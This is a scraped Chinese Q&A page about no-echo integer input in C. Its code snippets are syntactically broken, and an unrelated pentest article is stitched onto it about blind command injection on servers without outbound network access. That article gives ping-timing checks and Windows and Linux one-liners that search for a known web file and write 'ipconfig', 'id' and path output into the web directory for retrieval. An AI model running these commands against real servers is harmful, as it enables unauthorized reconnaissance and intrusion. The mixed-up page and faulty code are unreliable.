c语言如何是实现无回显的输入一个整形的数字并且不要换行
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了c语言如何是实现无回显的输入一个整形的数字并且不要换行相关的知识,希望对你有一定的参考价值。
我想输入一个3乘3的行列式,每个整形都输入到数组a[i][j]中
用 getch() 输入。数与数之间用1个空格分隔,最后一个数 后面加一空格 或 回车。用 char str[300] 存放输入键。用sscanf() 转为int.
#include<stdio.h>
#include<conio.h>
main()
char str[300];
int x[3][3],i=0,j,n=0;
while(1)
str[i] = getch();
if (str[i]==' ') n++;
if (str[i]=='\n') break;
if (n>=9) break;
i++;
sscanf(str,"%d %d %d %d %d %d %d %d %d",
&x[0][0],&x[0][1],&x[0][2],
&x[1][0],&x[1][1],&x[1][2],
&x[2][0],&x[2][1],&x[2][2]);
for (j=0;j<3;j++)
for (i=0;i<3;i++) printf("%d ",x[j][i]);
printf("\n");
return 0;
参考技术A #include <Windows.h>
#include <stdio.h>
int main()
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD consoleMode;
GetConsoleMode(hStdin, &consoleMode);
SetConsoleMode(hStdin, consoleMode & (~ENABLE_ECHO_INPUT));
int m[3][3];
int i, j;
for(i = 0; i < 3; ++i)
for(j = 0; j < 3; ++j)
scanf("%d", &m[i][j]);
SetConsoleMode(hStdin, consoleMode);
for(i = 0; i < 3; ++i)
for(j = 0; j < 3; ++j)
printf("%2d", m[i][j]);
putchar('\\n');
return 0;
无回显,不过数字间的空格还是要的。输入完最后要一个回车
for(j=1;j<=3;j++)
scanf("%d\t",a[i-1][j-1]);
if(j%3==0)
printf("\n");
无回显不出网命令执行测试方式
前言
本文主要讲的是无回显、不出网命令执行测试方法,首先通过大小写判断是linux还是win,然后通过命令自动查找目录写文件来测试。
这里没有这种环境就拿一个php的做演示(其实像这种可以直接写马在当前目录)
首先我们通过下面命令和响应包的时间判断存在命令执行(适用于win linux下使用-c)
ping -n 3 127.0.0.1
ping -n 4 127.0.0.1
然后在网站上找一个名字比较少见特殊的js(如果网站有上传图片的地方可以用你上传图片的名字)
windows下的测试方式
执行下面命令自动查找bsa.js并在其目录写入文件(由于可能不知道是什么盘可能需要多次尝试)
cmd /c "for /f %i in (‘dir /s /b e:bsa.js‘) do (echo %i> %i.path.txt)%26(ipconfig > %i.ipconfig.txt)"
在 http://www.test.com/js/ 目录下访问 bsa.js.ipconfig.txt bsa.js.path.txt查看执行ifconfig的结果和路径
linux下的测试方式
使用下面的命令,自动查找bas.js并在其目录下生成test.txt写入id pwd ifconfig命令的结果
find / -name bas.js|while read f;do sh -c ‘id;pwd;ifconfig‘ >$(dirname $f)/test.txt;done
参考链接:https://mp.weixin.qq.com/s/9cXGR7tlN_OAP-dMyZyHEw
以上是关于c语言如何是实现无回显的输入一个整形的数字并且不要换行的主要内容,如果未能解决你的问题,请参考以下文章